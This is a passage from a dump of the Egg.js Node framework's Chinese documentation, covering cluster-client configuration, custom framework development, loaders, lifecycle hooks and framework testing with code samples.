最终模块向外暴露这个 `APIClient`\nmodule.exports = APIClient;\n```\n\n那么，我们就可以这样使用这个模块：\n\n```js\n// app.js 或 agent.js\nconst APIClient = require('some-client'); // 上文中的模块\nmodule.exports = (app) => {\n  const config = app.config.apiClient;\n  app.apiClient = new APIClient(\n    Object.assign({}, config, { cluster: app.cluster }),\n  );\n  app.beforeStart(async () => {\n    await app.apiClient.ready();\n  });\n};\n\n// config.${env}.js\nexports.apiClient = {\n  subMap: {\n    foo: {\n      id: '',\n    },\n    // bar...\n  },\n};\n```\n\n为了方便你封装 `APIClient`，在 `cluster-client` 模块中提供了一个 `APIClientBase` 基类，那么上文中的 `APIClient` 可以改写为：\n\n```js\nconst APIClientBase = require('cluster-client').APIClientBase;\nconst RegistryClient = require('./registry_client');\n\nclass APIClient extends APIClientBase {\n  // 返回原始的客户端类\n  get DataClient() {\n    return RegistryClient;\n  }\n\n  // 用于设置 cluster-client 相关参数，等同于 cluster 方法的第二个参数\n  get clusterOptions() {\n    return {\n      responseTimeout: 120 * 1000,\n    };\n  }\n\n  subscribe(reg, listener) {\n    this._client.subscribe(reg, listener);\n  }\n\n  publish(reg) {\n    this._client.publish(reg);\n  }\n\n  get(key) {\n    return this._cache[key];\n  }\n}\n```\n\n总结一下：\n\n```plaintext\n+------------------------------------------------+\n| APIClient                                      |\n|       +----------------------------------------|\n|       | ClusterClient                          |\n|       |      +---------------------------------|\n|       |      | RegistryClient                  |\n+------------------------------------------------+\n```\n\n- `RegistryClient` - 负责和远端服务通讯，实现数据的存取，只支持异步 API，不关心多进程模型。\n- `ClusterClient` - 通过 `cluster-client` 模块进行简单包装得到的客户端实例，负责自动抹平多进程模型的差异。\n- `APIClient` - 内部调用 `ClusterClient` 做数据同步，无需关心多进程模型，用户最终使用的模块。API 通过此处暴露，支持同步和异步。\n\n有兴趣的同学可以查看《增强多进程研发模式》讨论过程。\n\n## 在框架里面 cluster-client 相关的配置项\n\n```js\n/**\n * @property {Number} responseTimeout - 响应超时，默认值为 60000\n * @property {Transcode} [transcode]\n *   - {Function} encode - 自定义序列化方法\n *   - {Function} decode - 自定义反序列化方法\n */\nconfig.clusterClient = {\n  responseTimeout: 60000,\n};\n```\n\n| 配置项          | 类型     | 默认值          | 描述                                                                                                              |\n| --------------- | -------- | --------------- | ----------------------------------------------------------------------------------------------------------------- |\n| responseTimeout | number   | 60000（一分钟） | 全局的进程间通讯的超时时长，因为代理接口本身也有超时设置，所以不宜设置太短                                        |\n| transcode       | function | 未设置（N/A）   | 进程间通讯的序列化方式，默认使用 [serialize-json](https://www.npmjs.com/package/serialize-json)，建议不要自行设置 |\n\n上述表格为全局配置方式。如果你想为特定客户端单独设置，可以使用以下方法：\n\n- 可以通过 `app/agent.cluster(ClientClass, options)` 的第二个参数 `options` 进行覆盖。\n\n```js\napp.registryClient = app\n  .cluster(RegistryClient, {\n    responseTimeout: 120 * 1000, // 这里传入的是与 cluster-client 相关的参数\n  })\n  .create({\n    // 这里传入的是 RegistryClient 需要的参数\n  });\n```\n\n- 也可以通过覆盖 `APIClientBase` 的 `clusterOptions` 这个 `getter` 属性。\n\n```js\nconst APIClientBase = require('cluster-client').APIClientBase;\nconst RegistryClient = require('./registry_client');\n\nclass APIClient extends APIClientBase {\n  get DataClient() {\n    return RegistryClient;\n  }\n\n  get clusterOptions() {\n    return {\n      responseTimeout: 120 * 1000,\n    };\n  }\n\n  // ...\n}\n\nmodule.exports = APIClient;\n```\n"
  },
  {
    "path": "site/docs/zh-CN/advanced/framework.md",
    "content": "# 框架开发\n\n如果你的团队遇到过：\n\n- 维护很多个项目，每个项目都需要复制拷贝诸如 `gulpfile.js`、`webpack.config.js` 之类的文件。\n- 每个项目都需要使用一些相同的类库，相同的配置。\n- 在新项目中对上面的配置做了一个优化后，如何同步到其他项目？\n\n如果你的团队需要：\n\n- 统一的技术选型，比如数据库、模板、前端框架及各种中间件设施都需要选型，而框架封装后保证应用使用一套架构。\n- 统一的默认配置，开源社区的配置可能不适用于公司，而又不希望应用去配置。\n- 统一的部署方案，通过框架和平台的双向控制，应用只需要关注自己的代码，具体查看[应用部署](../core/deployment.md)。\n- 统一的代码风格，框架不仅仅解决代码重用问题，还可以对应用做一定约束，作为企业框架是很必要的。Egg 在 Koa 的基础上做了很多约定，框架可以使用 [Loader](./loader.md) 自己定义代码规则。\n\n为此，Egg 为团队架构师和技术负责人提供 `框架定制` 的能力，框架是一层抽象，可以基于 Egg 去封装上层框架，并且 Egg 支持多层继承。\n\n这样，整个团队就可以遵循统一的方案，并且在项目中可以根据业务场景自行使用插件做差异化；当后者验证为最佳实践后，就能下沉到框架中，其他项目仅需简单的升级框架版本即可享受到。\n\n具体可以参见[渐进式开发](../intro/progressive.md)。\n\n## 框架与多进程\n\n框架的扩展与多进程模型有关，我们已经了解了[多进程模型](../core/cluster-and-ipc.md)，也知道 `Agent Worker` 和 `App Worker` 的区别。因此，我们需要扩展的类也有两个：`Agent` 和 `Application`，这两个类的 API 不一定相同。\n\n在 `Agent Worker` 启动的时候会实例化 `Agent`，而在 `App Worker` 启动时会实例化 `Application`。这两个类又同时继承自 [EggCore](https://github.com/eggjs/egg-core)。\n\nEggCore 可以看做是 Koa `Application` 的升级版，默认内置了 [Loader](./loader.md)、[Router](../basics/router.md) 及应用异步启动等功能，可以看作是支持 `Loader` 的 Koa。\n\n```\n       Koa Application\n              ^\n           EggCore\n              ^\n       ┌──────┴───────┐\n       │              │\n   Egg Agent      Egg Application\n      ^               ^\n agent worker     app worker\n```\n\n## 如何定制一个框架\n\n你可以直接通过 [egg-boilerplate-framework](https://github.com/eggjs/egg-boilerplate-framework) 脚手架快速上手。\n\n```bash\n$ mkdir yadan && cd yadan\n$ npm init egg --type=framework\n$ npm i\n$ npm test\n```\n\n但同样，为了让大家了解细节，接下来我们会手把手地来定制一个框架，具体代码可以查看[示例](https://github.com/eggjs/examples/tree/master/framework)。\n\n### 框架 API\n\nEgg 框架提供了一些 API，所有继承的框架都需要提供，只增不减。这些 API 基本都存在于 Agent 和 Application 两份实现中。\n\n#### `egg.startCluster`\n\nEgg 的多进程启动器，通过这个方法来启动 Master，主要的功能实现在 [egg-cluster](https://github.com/eggjs/egg-cluster) 上。因此，直接使用 EggCore 是单进程方式启动的，而 Egg 实现了多进程模式。\n\n```js\nconst startCluster = require('egg').startCluster;\nstartCluster(\n  {\n    // 应用的代码目录\n    baseDir: '/path/to/app',\n    // 需要通过这个参数来指定框架目录\n    framework: '/path/to/framework',\n  },\n  () => {\n    console.log('app started');\n  },\n);\n```\n\n所有参数可以查看 [egg-cluster](https://github.com/eggjs/egg-cluster#options)。\n\n#### `egg.Application` 和 `egg.Agent`\n\n它们是进程中的唯一实例，但 Application 和 Agent 存在一定差异。如果框架继承自 Egg，会定制这两个类，那么框架应该导出（export）这两个类。\n\n#### `egg.AppWorkerLoader` 和 `egg.AgentWorkerLoader`\n\n框架也可能会有定制 Loader 的场景，如覆盖原方法或新加载目录，都需要提供自己的 Loader。而且必须继承自 Egg 的 Loader。\n\n### 框架继承\n\n框架支持继承关系，可以把框架类比于一个类，那么基类就是 Egg 框架。如果你想对 Egg 进行扩展，那么可以继承它。\n\n首先，定义一个框架需要实现 Egg 所有的 API：\n\n```js\n// package.json\n{\n  \"name\": \"yadan\",\n  \"dependencies\": {\n    \"egg\": \"^2.0.0\"\n  }\n}\n\n// index.js\nmodule.exports = require('./lib/framework.js');\n\n// lib/framework.js\nconst path = require('path');\nconst egg = require('egg');\n\nclass Application extends egg.Application {\n  protected override customEggPaths() {\n    // 返回框架路径\n    return [path.dirname(__dirname), ...super.customEggPaths()];\n  }\n}\n\nmodule.exports = Object.assign(egg, {\n  Application,\n  // 可能还会有其他扩展\n});\n```\n\n应用启动时需要指定框架名（在 `package.json` 中指定 `egg.framework`，默认值是 `egg`），Loader 会从 `node_modules` 中寻找指定模块作为框架，并载入其导出的 Application。\n\n```json\n{\n  \"scripts\": {\n    \"dev\": \"egg-bin dev\"\n  },\n  \"egg\": {\n    \"framework\": \"yadan\"\n  }\n}\n```\n\n现在，yadan 框架的目录已经成为了一个加载单元（loadUnit），因此相应的目录和文件（如 `app` 和 `config`）都会被加载。详情可以查看[框架被加载的文件](./loader.md)。\n\n### 框架继承原理\n\n使用 `customEggPaths()` 来指定当前框架的路径，目的是让 Loader 能探测到框架路径。为什么采取这种实现方式？本可以将框架路径直接传给 Loader，但为了实现多级框架继承，每一层框架都要提供自己的路径，且继承有其顺序。\n\n现在的实现方案是基于类继承的。每一层框架都必须继承上一层框架，并且指定 eggPath，之后遍历原型链，就可以获取到每一层框架的路径了。\n\n比如有三层框架：部门框架（department）> 企业框架（enterprise）> Egg\n\n```js\n// enterprise\nconst Application = require('egg').Application;\nclass EnterpriseApplication extends Application {\n  protected override customEggPaths() {\n    return ['/path/to/enterprise', ...super.customEggPaths()];\n  }\n}\n// 自定义模块的 Application\nexports.Application = EnterpriseApplication;\n\n// department\nconst EnterpriseApplication = require('enterprise').Application;\n// 继承自 enterprise 的 Application\nclass DepartmentApplication extends EnterpriseApplication {\n  protected override customEggPaths() {\n    return ['/path/to/department', ...super.customEggPaths()];\n  }\n}\n\n// 启动时需要传入 department 的框架路径\nconst DepartmentApplication = require('department').Application;\nconst app = new DepartmentApplication();\napp.ready();\n```\n\n以上都是示例代码，用于解释框架路径加载过程。实际上，Egg 已经提供了[本地开发](../core/development.md)和[应用部署](../core/deployment.md)的优秀工具，不需要我们自行实现。\n下面是根据《优秀技术文档的写作标准》修改后的全文内容：\n\n### 自定义 Agent\n\n上面的例子自定义了 Application。由于 Egg 是多进程模型，因此还需要定义 Agent。原理是一样的。\n\n```js\n// lib/framework.js\nconst path = require('path');\nconst egg = require('egg');\n\nclass Application extends egg.Application {\n  protected override customEggPaths() {\n    // 返回 framework 路径\n    return [path.dirname(__dirname), ...super.customEggPaths()];\n  }\n}\n\nclass Agent extends egg.Agent {\n  protected override customEggPaths() {\n    return [path.dirname(__dirname), ...super.customEggPaths()];\n  }\n}\n\n// 覆盖了 Egg 的 Application\nmodule.exports = Object.assign(egg, {\n  Application,\n  Agent,\n});\n```\n\n**但因为 Agent 和 Application 是两个实例，API 有可能不一致。**\n\n### 自定义 Loader\n\nLoader 是应用启动的核心。利用它，我们不仅能规范应用代码，还能基于这个类扩展更多功能，比如加载数据模型。扩展 Loader 还可以覆盖默认的实现，或调整现有的加载顺序等。\n\n我们使用 `customEggLoader()` 来自定义 Loader，主要原因还是为了使用原型链。这样，上层框架可以覆盖底层 Loader。在上面的例子基础上：\n\n```js\n// lib/framework.js\nconst path = require('path');\nconst egg = require('egg');\n\nclass YadanAppWorkerLoader extends egg.AppWorkerLoader {\n  load() {\n    super.load();\n    // 进行自己的扩展\n  }\n}\n\nclass Application extends egg.Application {\n  protected override customEggPaths() {\n    // 返回 framework 路径\n    return [path.dirname(__dirname), ...super.customEggPaths()];\n  }\n  // 覆盖 Egg 的 Loader，启动时将使用这个 Loader\n  protected override customEggLoader() {\n    return YadanAppWorkerLoader;\n  }\n}\n\n// 覆盖了 Egg 的 Application\nmodule.exports = Object.assign(egg, {\n  Application,\n  // 自定义的 Loader 也需要导出，以便上层框架进行扩展\n  AppWorkerLoader: YadanAppWorkerLoader,\n});\n```\n\nAgentWorkerLoader 的扩展也类似，这里不再赘述。AgentWorkerLoader 加载的文件可以与 AppWorkerLoader 不同。比如，默认加载时，Egg 的 AppWorkerLoader 会加载 `app.js`，而 AgentWorkerLoader 加载的是 `agent.js`。\n\n## 框架启动原理\n\n框架启动过程在[多进程模型](../core/cluster-and-ipc.md)、[Loader](./loader.md)、[插件](./plugin.md)中或多或少都有提及。这里我们系统地梳理一下启动顺序：\n\n1. `startCluster` 启动时传入 `baseDir` 和 `framework`，从而启动 Master 进程。\n2. Master 首先 fork Agent Worker：\n   - 根据 framework 找到框架目录，实例化该框架的 Agent 类。\n   - Agent 根据定义的 AgentWorkerLoader 开始加载。\n   - 整个 AgentWorkerLoader 的加载过程是同步的，按照 plugin > config > extend > `agent.js` > 其他文件的顺序进行。\n   - 如果 `agent.js` 中定义了自定义初始化并支持异步启动，当执行完成后，会告知 Master 启动已完成。\n3. Master 在接到 Agent Worker 启动成功的消息后，会 fork App Worker：\n   - App Worker 由多个进程组成，这些进程会并行启动，但执行逻辑是一致的。\n   - 单个 App Worker 通过 framework 找到框架目录，实例化该框架的 Application 类。\n   - Application 根据 AppWorkerLoader 开始加载，加载顺序类似，会异步等待完成后通知 Master 启动完成。\n4. Master 在等到所有 App Worker 发来的启动成功消息后，完成启动，开始对外提供服务。\n\n## 框架测试\n\n在看下文之前，请先查看[单元测试章节](../core/unittest.md)。框架测试的大部分使用场景和应用类似。\n\n### 初始化\n\n框架的初始化方式有一定差异。\n\n```js\nconst mock = require('@eggjs/mock');\n\ndescribe('test/index.test.js', () => {\n  let app;\n  before(() => {\n    app = mock.app({\n      // 转换成 test/fixtures/apps/example\n      baseDir: 'apps/example',\n      // 重要：配置 framework\n      framework: true,\n    });\n    return app.ready();\n  });\n\n  after(() => app.close());\n  afterEach(mock.restore);\n\n  it('should success', () => {\n    return app.httpRequest().get('/').expect(200);\n  });\n});\n```\n\n- 框架和应用不同，应用测试当前代码，而框架是测试框架代码，所以会频繁更换 baseDir 达到测试各种应用的目的。\n- baseDir 有潜规则，我们一般会把测试的应用代码放到 `test/fixtures` 下，所以自动补全，也可以传入绝对路径。\n- 必须指定 `framework: true`，告知当前路径为框架路径；也可以传入绝对路径。\n- app 应用需要在 before 等待 ready，否则在 testcase 里无法获取部分 API。\n- 框架在测试完毕后，需要使用 `app.close()` 关闭，否则会有遗留问题，例如日志写文件未关闭导致 fd 不够。\n\n### 缓存\n\n在测试多环境场景需要使用到 cache 参数，因为 `mock.app` 默认有缓存，当第一次加载后再次加载会直接读取缓存，那么设置的环境也不会生效。\n\n```js\nconst mock = require('@eggjs/mock');\n\ndescribe('test/index.test.js', () => {\n  let app;\n  afterEach(() => app.close());\n\n  it('should test on local', () => {\n    mock.env('local');\n    app = mock.app({\n      baseDir: 'apps/example',\n      framework: true,\n      cache: false,\n    });\n    return app.ready();\n  });\n  it('should test on prod', () => {\n    mock.env('prod');\n    app = mock.app({\n      baseDir: 'apps/example',\n      framework: true,\n      cache: false,\n    });\n    return app.ready();\n  });\n});\n```\n\n### 多进程测试\n\n很少场景会使用多进程测试，因为多进程无法进行 API 级别的 mock，导致测试成本很高。而进程在有覆盖率的场景启动很慢，测试会超时。但多进程测试是验证多进程模型最好的方式。还可以测试 stdout 和 stderr。\n\n多进程测试和 `mock.app` 参数一致，但 app 的 API 完全不同。不过，SuperTest 依然可用。\n\n```js\nconst mock = require('@eggjs/mock');\n\ndescribe('test/index.test.js', () => {\n  let app;\n  before(() => {\n    app = mock.cluster({\n      baseDir: 'apps/example',\n      framework: true,\n    });\n    return app.ready();\n  });\n  after(() => app.close());\n  afterEach(mock.restore);\n\n  it('should success', () => {\n    return app.httpRequest().get('/').expect(200);\n  });\n});\n```\n\n多进程测试还可以测试 stdout/stderr，因为 `mock.cluster` 是基于 [coffee](https://github.com/popomore/coffee) 扩展的，可进行进程测试。\n\n```js\nconst mock = require('@eggjs/mock');\n\ndescribe('test/index.test.js', () => {\n  let app;\n  before(() => {\n    app = mock.cluster({\n      baseDir: 'apps/example',\n      framework: true,\n    });\n    return app.ready();\n  });\n  after(() => app.close());\n\n  it('should get `started`', () => {\n    // 判断终端输出\n    app.expect('stdout', /started/);\n  });\n});\n```\n"
  },
  {
    "path": "site/docs/zh-CN/advanced/index.md",
    "content": "# 进阶\n\n- [加载器（Loader）](./loader.md)\n- [插件开发](./plugin.md)\n- [框架开发](./framework.md)\n- [多进程研发模式增强](./cluster-client.md)\n- [View 插件开发](./view-plugin.md)\n- [升级你的生命周期事件函数](./loader-update.md)\n- [对象生命周期](./lifecycle.md)\n"
  },
  {
    "path": "site/docs/zh-CN/advanced/lifecycle.md",
    "content": "# 对象生命周期\n\n## 使用场景\n\n需要对对象的生命周期进行管理，如在对象构造、依赖注入完成后进行异步的初始化，在对象销毁时需要将资源同步的销毁等情况。\n\n## 快速开始\n\n```ts\nimport {\n  LifecyclePostConstruct,\n  LifecyclePreInject,\n  LifecyclePostInject,\n  LifecycleInit,\n  LifecyclePreDestroy,\n  LifecycleDestroy,\n  SingletonProto,\n  AccessLevel,\n} from 'egg';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n  name: 'helloInterface',\n})\nexport class HelloService {\n  @LifecyclePostConstruct()\n  protected async _postConstruct() {\n    // 对象的 construct 调用结束后\n    console.log('对象构造完成');\n  }\n\n  @LifecyclePreInject()\n  protected async _preInject() {\n    // 在依赖将要注入前，注意构造器注入的模式不会执行这个方案\n    console.log('依赖将要注入');\n  }\n\n  @LifecyclePostInject()\n  protected async _postInject() {\n    // 在依赖注入后，注意构造器注入的模式不会执行这个方案\n    console.log('依赖注入完成');\n  }\n\n  @LifecycleInit()\n  protected async _init() {\n    // 在 construct 调用和依赖注入后，一般情况都会使用这个方法\n    console.log('执行一些异步的初始化过程');\n  }\n\n  @LifecyclePreDestroy()\n  protected async _preDestroy() {\n    // 在对象将要被释放前调用\n    console.log('对象将要释放了');\n  }\n\n  @LifecycleDestroy()\n  protected async _destroy() {\n    // 在对象被释放后调用\n    console.log('执行一些释放资源的操作');\n  }\n\n  async hello(user: User) {\n    return `hello, ${user.name}`;\n  }\n}\n```\n\n## 示例\n\n### 自定义初始化\n\n通过 `CustomUserInfo` 实现自定义的用户信息，在 `init` 生命周期中调用了 rpc 获取用户详细信息。\n\n```ts\nimport { Inject, ContextProto, AccessLevel, LifecycleInit, User } from 'egg';\n\n@ContextProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class CustomUserInfo {\n  mobile: string;\n  profile: UserProfile;\n\n  @Inject()\n  private readonly userFacade: UserFacade;\n  @Inject()\n  private readonly user?: User;\n\n  @LifecycleInit()\n  protected async _init() {\n    if (!this.user?.userId) {\n      throw new Error('非法用户请求');\n    }\n    const profile = await this.userFacade.findByUserId(this.user.userId);\n    this.profile = profile;\n    this.mobile = profile.mobile;\n  }\n}\n```\n\n### 释放资源\n\n```ts\nimport { ContextProto, AccessLevel, LifecyclePreDestroy } from 'egg';\nimport { setInterval, clearInterval } from 'node:timers';\n\n@ContextProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class ContextTimer {\n  timer: NodeJS.Timeout;\n\n  constructor() {\n    this.timer = setInterval(() => {\n      // ...\n    }, 1000);\n  }\n\n  @LifecyclePreDestroy()\n  protected async _preDestroy() {\n    // 在对象释放前，释放 timer\n    clearInterval(this.timer);\n  }\n}\n```\n"
  },
  {
    "path": "site/docs/zh-CN/advanced/loader-update.md",
    "content": "# 升级你的生命周期事件函数\n\n为了使得大家更方便地控制加载应用和插件的时机，我们对 Loader 的生命周期函数进行了精简处理。概括地说，生命周期事件目前总共可以分成两种形式：\n\n1. 函数形式（已经作废，仅为兼容保留）。\n2. 类形式（推荐使用）。\n\n## beforeStart 函数替代\n\n我们通常在 `app.ts` 中通过 `export default` 中传入的 `app` 参数进行此函数的操作，一个典型的例子：\n\n```ts\nimport type { Application } from 'egg';\n\nexport default (app: Application) => {\n  app.beforeStart(async () => {\n    // 此处是你原来的逻辑代码\n  });\n};\n```\n\n现在升级之后的写法略有改变 —— 我们可以直接在 `app.ts` 中用类方法的形式体现出来。对于应用开发而言，应该写在 `willReady` 方法中；对于插件则写在 `didLoad` 中。形式如下：\n\n```ts\n// app.ts 或 agent.ts 文件：\nimport type { Application, ILifecycleBoot } from 'egg';\n\nexport default class AppBootHook implements ILifecycleBoot {\n  private readonly app: Application;\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  async didLoad() {\n    // 请将你的插件项目中 app.beforeStart 中的代码置于此处\n  }\n\n  async willReady() {\n    // 请将你的应用项目中 app.beforeStart 中的代码置于此处\n  }\n}\n```\n\n## ready 函数替代\n\n同样地，我们之前在 `app.ready` 中处理我们的逻辑：\n\n```ts\nimport type { Application } from 'egg';\n\nexport default (app: Application) => {\n  app.ready(async () => {\n    // 此处是你原来的逻辑代码\n  });\n};\n```\n\n现在直接用 `didReady` 进行替换：\n\n```ts\n// app.ts 或 agent.ts 文件：\nimport type { Application, ILifecycleBoot } from 'egg';\n\nexport default class AppBootHook implements ILifecycleBoot {\n  private readonly app: Application;\n\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  async didReady() {\n    // 请将你的 app.ready 中的代码置于此处\n  }\n}\n```\n\n## beforeClose 函数替代\n\n原先的 `app.beforeClose` 如以下形式：\n\n```ts\nimport type { Application } from 'egg';\n\nexport default (app: Application) => {\n  app.beforeClose(async () => {\n    // 此处是你原来的逻辑代码\n  });\n};\n```\n\n现在我们只需使用类方法 `beforeClose` 替代即可：\n\n```ts\n// app.ts 或 agent.ts 文件：\nimport type { Application, ILifecycleBoot } from 'egg';\n\nexport default class AppBootHook implements ILifecycleBoot {\n  private readonly app: Application;\n\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  async beforeClose() {\n    // 请将你的 app.beforeClose 中的代码置于此处\n  }\n}\n```\n\n## 其它说明\n\n本教程只是一对一地讲了替换方法，便于开发者们快速上手进行替换。\n若想要具体了解整个 Loader 原理以及生命周期的完整函数版本，请参考《[加载器](./loader.md)》和《[启动自定义](../basics/app-start.md)》两篇文章。\n"
  },
  {
    "path": "site/docs/zh-CN/advanced/loader.md",
    "content": "# 加载器（Loader）\n\nEgg 在 Koa 的基础上进行增强，最重要的就是基于一定的约定，将功能不同的代码分类放置到不同的目录下管理，这对整体团队的开发成本提升有着明显的效果。Loader 实现了这套约定，并且抽象了很多底层 API，以便于进一步扩展。\n\n## 应用、框架和插件\n\nEgg 是一个底层框架，应用可以直接使用，但 Egg 本身的插件比较少。因此，应用需要自己配置插件来增加各种特性，比如 MySQL。\n\n```js\n// 应用配置\n// package.json\n{\n  \"dependencies\": {\n    \"egg\": \"^2.0.0\",\n    \"egg-mysql\": \"^3.0.0\"\n  }\n}\n\n// config/plugin.js\nmodule.exports = {\n  mysql: {\n    enable: true,\n    package: 'egg-mysql'\n  }\n}\n```\n\n当应用数量达到一定规模时，会发现大部分应用的配置都相似。这时，可以基于 Egg 扩展出一个框架，进而简化应用的配置。\n\n```js\n// 框架配置\n// package.json\n{\n  \"name\": \"framework1\",\n  \"version\": \"1.0.0\",\n  \"dependencies\": {\n    \"egg-mysql\": \"^3.0.0\",\n    \"egg-view-nunjucks\": \"^2.0.0\"\n  }\n}\n\n// config/plugin.js\nmodule.exports = {\n  mysql: {\n    enable: false,\n    package: 'egg-mysql'\n  },\n  view: {\n    enable: false,\n    package: 'egg-view-nunjucks'\n  }\n}\n\n// 应用配置\n// package.json\n{\n  \"dependencies\": {\n    \"framework1\": \"^1.0.0\"\n  }\n}\n\n// config/plugin.js\nmodule.exports = {\n  // 开启插件\n  mysql: true,\n  view: true\n}\n```\n\n从上面的使用场景可以看出应用、插件和框架三者之间的关系。\n\n- 在应用中完成业务，需要指定框架才能运行。当应用需要某一特定功能时，可以通过配置插件来获得，例如 MySQL。\n- 插件专注于完成特定的功能。如果两个独立功能之间存在依赖，可以分成两个插件，但需要相互配置依赖。\n- 框架是一个启动器（默认是 Egg），有了框架应用才能运行。框架还起到封装器的作用，将多个插件的功能聚合起来统一提供，并且框架也可以配置插件。\n- 在框架的基础上还可以扩展新的框架，也就是说，框架可以无限级继承，这有点类似于类的继承。\n\n```\n+-----------------------------------+--------+\n|      app1, app2, app3, app4       |        |\n+-----+--------------+--------------+        |\n|     |              |  framework3  |        |\n+     |  framework1  +--------------+ plugin |\n|     |              |  framework2  |        |\n+     +--------------+--------------+        |\n|                   Egg             |        |\n+-----------------------------------+--------|\n|                   Koa                      |\n+-----------------------------------+--------+\n```\n\n## 加载单元（loadUnit）\n\nEgg 将应用、框架和插件都称为加载单元（loadUnit），因为在代码结构上几乎没有什么差异。下面是一种典型的目录结构：\n\n```\nloadUnit\n├── package.json\n├── app.js\n├── agent.js\n├── app\n│   ├── extend\n│   │   ├── helper.js\n│   │   ├── request.js\n│   │   ├── response.js\n│   │   ├── context.js\n│   │   ├── application.js\n│   │   └── agent.js\n│   ├── service\n│   ├── middleware\n│   └── router.js\n└── config\n    ├── config.default.js\n    ├── config.prod.js\n    ├── config.test.js\n    ├── config.local.js\n    └── config.unittest.js\n```\n\n不过，还存在一些差异，如下表所示：\n\n| 文件                      | 应用 | 框架 | 插件 |\n| ------------------------- | ---- | ---- | ---- |\n| package.json              | ✔    | ✔    | ✔    |\n| config/plugin.{env}.js    | ✔    | ✔    |      |\n| config/config.{env}.js    | ✔    | ✔    | ✔    |\n| app/extend/application.js | ✔    | ✔    | ✔    |\n| app/extend/request.js     | ✔    | ✔    | ✔    |\n| app/extend/response.js    | ✔    | ✔    | ✔    |\n| app/extend/context.js     | ✔    | ✔    | ✔    |\n| app/extend/helper.js      | ✔    | ✔    | ✔    |\n| agent.js                  | ✔    | ✔    | ✔    |\n| app.js                    | ✔    | ✔    | ✔    |\n| app/service               | ✔    | ✔    | ✔    |\n| app/middleware            | ✔    | ✔    | ✔    |\n| app/controller            | ✔    |      |      |\n| app/router.js             | ✔    |      |      |\n\n文件按表格内的顺序从上到下加载。\n\n在加载过程中，Egg 会遍历所有的 loadUnit 加载上述的文件（应用、框架、插件各有不同），加载时有一定的优先级：\n\n- 按插件 => 框架 => 应用的顺序依次加载。\n- 插件之间的顺序由依赖关系决定，被依赖方先加载，无依赖者按 object key 的配置顺序加载。具体可以查看[插件章节](./plugin.md)。\n- 框架按继承顺序加载，越底层越先加载。\n\n例如，有这样一个应用配置了如下依赖：\n\n```\napp\n| ├── plugin2 （依赖 plugin3）\n| └── plugin3\n└── framework1\n    | └── plugin1\n    └── egg\n```\n\n最终的加载顺序为：\n\n```\n=> plugin1\n=> plugin3\n=> plugin2\n=> egg\n=> framework1\n=> app\n```\n\nplugin1 是 framework1 依赖的插件。由于 plugin2 和 plugin3 的依赖关系，因此交换了它们的位置。由于 framework1 继承了 egg，因此它的加载顺序会晚于 egg。应用将最后加载。\n\n更多信息请查看 [Loader.getLoadUnits](https://github.com/eggjs/egg-core/blob/65ea778a4f2156a9cebd3951dac12c4f9455e636/lib/loader/egg_loader.js#L233) 方法。\n\n### 文件顺序\n\n上文已经列出了默认会加载的文件。Egg 会按照如下文件顺序进行加载，每个文件或目录再根据 loadUnit 的顺序去加载（应用、框架、插件各有不同）：\n\n1. 加载 [plugin](./plugin.md)，找到应用和框架，加载 `config/plugin.js`。\n2. 加载 [config](../basics/config.md)，遍历 loadUnit 加载 `config/config.{env}.js`。\n3. 加载 [extend](../basics/extend.md)，遍历 loadUnit 加载 `app/extend/xx.js`。\n4. [自定义初始化](../basics/app-start.md)，遍历 loadUnit 加载 `app.js` 和 `agent.js`。\n5. 加载 [service](../basics/service.md)，遍历 loadUnit 加载 `app/service` 目录。\n6. 加载 [middleware](../basics/middleware.md)，遍历 loadUnit 加载 `app/middleware` 目录。\n7. 加载 [controller](../basics/controller.md)，加载应用的 `app/controller` 目录。\n8. 加载 [router](../basics/router.md)，加载应用的 `app/router.js`。\n\n请注意：\n\n- 加载时如果遇到同名文件将会被覆盖。比如，如果想要覆盖 `ctx.ip`，可以在应用的 `app/extend/context.js` 中直接定义 `ip`。\n- 应用完整启动顺序请查看[框架开发](./framework.md)。\n\n### 生命周期\n\n框架提供了以下生命周期函数供开发者使用：\n\n- 配置文件即将加载，为修改配置的最后机会（`configWillLoad`）\n- 配置文件已加载完成（`configDidLoad`）\n- 文件已加载完成（`didLoad`）\n- 插件启动完毕（`willReady`）\n- worker 准备就绪（`didReady`）\n- 应用启动完成（`serverDidReady`）\n- 应用即将关闭（`beforeClose`）\n\n定义方法如下：\n\n```js\n// app.js 或 agent.js\nclass AppBootHook {\n  constructor(app) {\n    this.app = app;\n  }\n\n  configWillLoad() {\n    // 准备调用 configDidLoad，\n    // 配置文件和插件文件将被引用，\n    // 这是修改配置的最后机会。\n  }\n\n  configDidLoad() {\n    // 配置文件和插件文件已被加载。\n  }\n\n  async didLoad() {\n    // 所有文件已加载，这里开始启动插件。\n  }\n\n  async willReady() {\n    // 所有插件已启动，在应用准备就绪前可执行一些操作。\n  }\n\n  async didReady() {\n    // worker 已准备就绪，在这里可以执行一些操作，\n    // 这些操作不会阻塞应用启动。\n  }\n\n  async serverDidReady() {\n    // 服务器已开始监听。\n  }\n\n  async beforeClose() {\n    // 应用关闭前执行一些操作。\n  }\n}\n\nmodule.exports = AppBootHook;\n```\n\n开发者使用类的方式定义 `app.js` 和 `agent.js` 后，框架将自动加载并实例化这个类，并在各个生命周期阶段调用相应的方法。\n\n启动过程如图所示：\n\n![](https://user-images.githubusercontent.com/40081831/47344271-a688d500-d6da-11e8-96e9-663fa9f45108.png)\n\n**在使用 `beforeClose` 时，需要注意：框架在处理关闭进程时设有超时限制。如果 worker 进程在收到退出信号后，未能在规定时间内退出，则会被强制终止。**\n\n如需调整超时时间，请查阅[相关文档](https://github.com/eggjs/egg-cluster)。\n\n弃用的方法：\n\n## beforeStart\n\n`beforeStart` 方法在加载过程中调用，所有方法并行执行。通常用于执行一些异步任务，例如检查连接状态等。例如，[`egg-mysql`](https://github.com/eggjs/egg-mysql/blob/master/lib/mysql.js) 使用 `beforeStart` 来检查 MySQL 的连接状态。所有 `beforeStart` 任务结束后，应用将进入 `ready` 状态。不建议执行耗时长的方法，可能导致应用启动超时。插件开发者应使用 `didLoad` 替代，应用开发者应使用 `willReady` 替代。\n\n## ready\n\n注册到 `ready` 方法的任务将在加载结束后，所有 `beforeStart` 方法执行完毕后顺序执行，HTTP 